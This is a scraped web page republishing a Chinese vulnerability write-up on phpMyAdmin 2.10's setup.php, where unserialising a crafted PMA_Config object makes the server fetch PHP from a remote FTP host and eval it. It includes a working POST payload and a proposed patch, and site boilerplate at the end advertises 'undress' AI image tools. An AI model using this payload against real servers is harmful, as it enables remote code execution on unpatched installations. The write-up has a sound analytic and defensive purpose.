Maison php教程 php手册 phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via

Jun 06, 2016 pm 07:48 PM
e phpmyadmin

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 对这个漏洞简单的概括如下 1 . " /scripts/setup.php " 会接收用户发送的序列化POST数据action =lay_navigationeoltype=unixtoken=ec4c4c184a

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考
Copier après la connexion

 

1. 漏洞描述

对这个漏洞简单的概括如下

<span>1</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span><span>会接收用户发送的序列化POST数据
action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D
</span><span>/*</span><span>
token要动态获取
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
</span><span>*/</span>

<span>2</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span>会对<span>"</span><span>$_POST['configuration']</span><span>"</span><span>进行反序列化
setup.php在反序列化的时候,程序未对输入的原始数据进行有效地恶意检测

</span><span>3</span>. 黑客可以在POST数据中注入<span>"</span><span>序列化后的PMA_Config对象</span><span>"</span><span>
setup.php在反序列化一个</span><span>"</span><span>序列化后的PMA_Config对象</span><span>"</span>的时候,会对这个对象进行<span>"</span><span>重新初始化</span><span>"</span><span>,即再次调用它的构造函数
function __construct($source </span>= <span>null</span><span>)
{
    $</span><span>this</span>->settings =<span> array();

    </span><span>//</span><span> functions need to refresh in case of config file changed goes in
    </span><span>//</span><span> PMA_Config::load()</span>
    $<span>this</span>-><span>load($source);

    </span><span>//</span><span> other settings, independant from config file, comes in</span>
    $<span>this</span>-><span>checkSystem();

    $</span><span>this</span>-><span>checkIsHttps();
}

</span><span>4</span>. PMA_Config对象的构造函数会重新引入<span>"</span><span>$source</span><span>"</span>对应的配置文件,这个"$source"是对象重新初始化时本次注册得到的,使用eval执行的方式将配置文件中的变量<span>"</span><span>本地变量注册化</span><span>"</span><span>
function load($source </span>= <span>null</span><span>)
{
    $</span><span>this</span>-><span>loadDefaults();

    </span><span>if</span> (<span>null</span> !==<span> $source) {
        $</span><span>this</span>-><span>setSource($source);
    }

    </span><span>if</span> (! $<span>this</span>-><span>checkConfigSource()) {
        </span><span>return</span> <span>false</span><span>;
    }

    $cfg </span>=<span> array();

    </span><span>/*</span><span>*
     * Parses the configuration file
     </span><span>*/</span><span>
    $old_error_reporting </span>= error_reporting(<span>0</span><span>);
    </span><span>//</span><span>使用eval方式引入外部的配置文件</span>
    <span>if</span> (function_exists(<span>'</span><span>file_get_contents</span><span>'</span><span>)) 
    {
        $eval_result </span>= eval(<span>'</span><span>?></span><span>'</span> . trim(file_get_contents($<span>this</span>-><span>getSource())));
    } 
    </span><span>else</span><span> 
    {
        $eval_result </span>=<span>
        eval(</span><span>'</span><span>?></span><span>'</span> . trim(implode(<span>"</span><span>\n</span><span>"</span>, file($<span>this</span>-><span>getSource()))));
    }
    error_reporting($old_error_reporting);

    </span><span>if</span> ($eval_result === <span>false</span><span>) {
        $</span><span>this</span>->error_config_file = <span>true</span><span>;
    } </span><span>else</span><span>  {
        $</span><span>this</span>->error_config_file = <span>false</span><span>;
        $</span><span>this</span>->source_mtime = filemtime($<span>this</span>-><span>getSource());
    }
    ...</span>
Copier après la connexion

最终的结果是,程序代码引入了黑客注入的外部文件的PHP代码,并使用eval进行了执行,导致RCE

Relevant Link:

http:<span>//</span><span>php.net/manual/zh/function.unserialize.php</span>
http:<span>//</span><span>drops.wooyun.org/papers/596</span>
http:<span>//</span><span>drops.wooyun.org/tips/3909</span>
http:<span>//</span><span>blog.csdn.net/cnbird2008/article/details/7491216</span>
Copier après la connexion


2. 漏洞触发条件

0x1: POC

token需要动态获取

<span>1</span><span>. POST
http:</span><span>//</span><span>localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php</span>

<span>2</span><span>. DATA
action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D
</span><span>/*</span><span>
source要是一个外部的文本文件,需要返回的是原生的PHP代码
a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
</span><span>*/</span>
Copier après la connexion

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via



3. 漏洞影响范围

<span>1</span>. phpmyadmin <span>2.10</span>
<span>2</span>. 2.10
Copier après la connexion

 

4. 漏洞代码分析

0x1: PHP serialize && unserialize

关于PHP序列化、反序列化存在的安全问题相关知识,请参阅另一篇文章

http:<span>//</span><span>www.cnblogs.com/LittleHann/p/4242535.html</span>
Copier après la connexion

0x2: "/scripts/setup.php"

<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> ) 
{
    </span><span>//</span><span> Grab previous configuration, if it should not be cleared</span>
    $configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]);
} 
</span><span>else</span><span> 
{
    </span><span>//</span><span> Start with empty configuration</span>
    $configuration =<span> array();
}</span>
Copier après la connexion

漏洞的根源在于程序信任了用户发送的外部数据,直接进行本地序列化,从而导致"对象注入",黑客通过注入当前已经存在于代码空间的PMA_Config对象,php在反序列化的时候,会自动调用对象的__wakeup函数,在__wakeup函数中,会使用外部传入的$source参数,作为配置文件的来源,然后使用eval将其引入到本地代码空间

0x3: \libraries\Config.class.php

<span>/*</span><span>*
     * re-init object after loading from session file
     * checks config file for changes and relaods if neccessary
     </span><span>*/</span><span>
    function __wakeup()
    {
      </span><span>//</span><span>在执行__wakeup()的时候,$source已经被注册为了外部传入的$source参数</span>
        <span>if</span> (! $<span>this</span>-><span>checkConfigSource()
          </span>|| $<span>this</span>->source_mtime !== filemtime($<span>this</span>-><span>getSource())
          </span>|| $<span>this</span>->default_source_mtime !== filemtime($<span>this</span>-><span>default_source)
          </span>|| $<span>this</span>-><span>error_config_file
          </span>|| $<span>this</span>-><span>error_config_default_file) {
            $</span><span>this</span>->settings =<span> array(); 
            $</span><span>this</span>-><span>load();
            $</span><span>this</span>-><span>checkSystem();
        }

        </span><span>//</span><span> check for https needs to be done everytime,
        </span><span>//</span><span> as https and http uses same session so this info can not be stored
        </span><span>//</span><span> in session</span>
        $<span>this</span>-><span>checkIsHttps();

        $</span><span>this</span>-><span>checkCollationConnection();
        $</span><span>this</span>-><span>checkFontsize();
    }</span>
Copier après la connexion


5. 防御方法

0x1: Apply Patch

<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> ) 
{ 
    $configuration </span>=<span> array(); 
    </span><span>//</span><span>协议的匹配忽略大小写</span>
    <span>if</span> ( (strpos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>PMA_Config</span><span>"</span>) !== <span>false</span>) && ( (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>ftp://</span><span>"</span>) !== <span>false</span>) || (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>http://</span><span>"</span>) !== <span>false</span><span>) ) ) 
    { 
        $configuration </span>=<span> array();
    } 
    </span><span>else</span><span>
    {
        </span><span>//</span><span> Grab previous configuration, if it should not be cleared</span>
        $configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]); 
    }  
} 
</span><span>else</span><span> 
{
    </span><span>//</span><span> Start with empty configuration</span>
    $configuration =<span> array();
}</span>
Copier après la connexion

 

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment définir la clé primaire dans phpmyadmin Comment définir la clé primaire dans phpmyadmin Apr 07, 2024 pm 02:54 PM

La clé primaire d'une table est constituée d'une ou plusieurs colonnes qui identifient de manière unique chaque enregistrement de la table. Voici les étapes pour définir une clé primaire : Connectez-vous à phpMyAdmin. Sélectionnez la base de données et la table. Cochez la colonne que vous souhaitez utiliser comme clé primaire. Cliquez sur "Enregistrer les modifications". Les clés primaires offrent des avantages en matière d’intégrité des données, de vitesse de recherche et de modélisation des relations.

Où existe la base de données wordpress ? Où existe la base de données wordpress ? Apr 15, 2024 pm 10:39 PM

La base de données WordPress est hébergée dans une base de données MySQL qui stocke toutes les données du site Web et est accessible via le tableau de bord de votre fournisseur d'hébergement, FTP ou phpMyAdmin. Le nom de la base de données est lié à l'URL du site Web ou au nom d'utilisateur, et l'accès nécessite l'utilisation des informations d'identification de la base de données, notamment le nom, le nom d'utilisateur, le mot de passe et le nom d'hôte, qui sont généralement stockés dans le fichier « wp-config.php ».

Comment ajouter des clés étrangères dans phpmyadmin Comment ajouter des clés étrangères dans phpmyadmin Apr 07, 2024 pm 02:36 PM

L'ajout d'une clé étrangère dans phpMyAdmin peut être réalisé en suivant ces étapes : Sélectionnez la table parent qui contient la clé étrangère. Modifiez la structure de la table parent et ajoutez de nouvelles colonnes dans "Colonnes". Activez les contraintes de clé étrangère et sélectionnez la table et la clé de référencement. Définir les opérations de mise à jour/suppression. Sauvegarder les modifications.

Quel est le mot de passe du compte phpmyadmin ? Quel est le mot de passe du compte phpmyadmin ? Apr 07, 2024 pm 01:09 PM

Le nom d'utilisateur et le mot de passe par défaut pour PHPMyAdmin sont root et vides. Pour des raisons de sécurité, il est recommandé de modifier le mot de passe par défaut. Méthode pour changer le mot de passe : 1. Connectez-vous à PHPMyAdmin ; 2. Sélectionnez « privilèges » 3. Saisissez le nouveau mot de passe et enregistrez-le. Lorsque vous oubliez votre mot de passe, vous pouvez le réinitialiser en arrêtant le service MySQL et en modifiant le fichier de configuration : 1. Ajoutez la ligne skip-grant-tables ; 2. Connectez-vous à la ligne de commande MySQL et réinitialisez le mot de passe root ; la table des autorisations ; 4. Supprimez la ligne skip-grant-tables, redémarrez le service MySQL.

Comment supprimer une table de données dans phpmyadmin Comment supprimer une table de données dans phpmyadmin Apr 07, 2024 pm 03:00 PM

Étapes pour supprimer une table de données dans phpMyAdmin : Sélectionnez la base de données et la table de données ; cliquez sur l'onglet « Action » ; sélectionnez l'option « Supprimer » ; confirmez et effectuez l'opération de suppression.

Où est le journal phpmyadmin ? Où est le journal phpmyadmin ? Apr 07, 2024 pm 12:57 PM

Emplacement par défaut des fichiers journaux PHPMyAdmin : Linux/Unix/macOS:/var/log/phpmyadminWindows : C:\xampp\phpMyAdmin\logs\ Objectif du fichier journal : Dépannage de la sécurité de l'audit

Qu'est-ce que e dans la calculatrice Qu'est-ce que e dans la calculatrice Oct 19, 2022 am 11:23 AM

Le e dans la calculatrice représente la puissance de 10, c'est-à-dire l'exposant de base 10. Par exemple, 1,99714E13 est égal à 19971400000000, exprimant un nombre sous la forme d'un multiplié par la nième puissance de 10. : Lorsque nous voulons marquer ou faire fonctionner quelque chose de plus grand ou de plus petit avec un grand nombre de chiffres, nous pouvons utiliser la notation scientifique pour éviter de perdre beaucoup d'espace et de temps.

pourquoi l'accès à phpmyadmin a été refusé pourquoi l'accès à phpmyadmin a été refusé Apr 07, 2024 pm 01:03 PM

Raisons et solutions d'accès refusé par phpMyAdmin : Échec de l'authentification : Vérifiez si le nom d'utilisateur et le mot de passe sont corrects. Erreur de configuration du serveur : ajustez les paramètres du pare-feu et vérifiez si le port de la base de données est correct. Problème d'autorisations : accorder aux utilisateurs l'accès à la base de données. Délai d'expiration de la session : actualisez la page du navigateur et reconnectez-vous. Erreur de configuration phpMyAdmin : vérifiez le fichier de configuration et les autorisations du fichier pour vous assurer que les modules Apache requis sont activés. Problème de serveur : attendez un moment et réessayez ou contactez votre fournisseur d'hébergement.

See all articles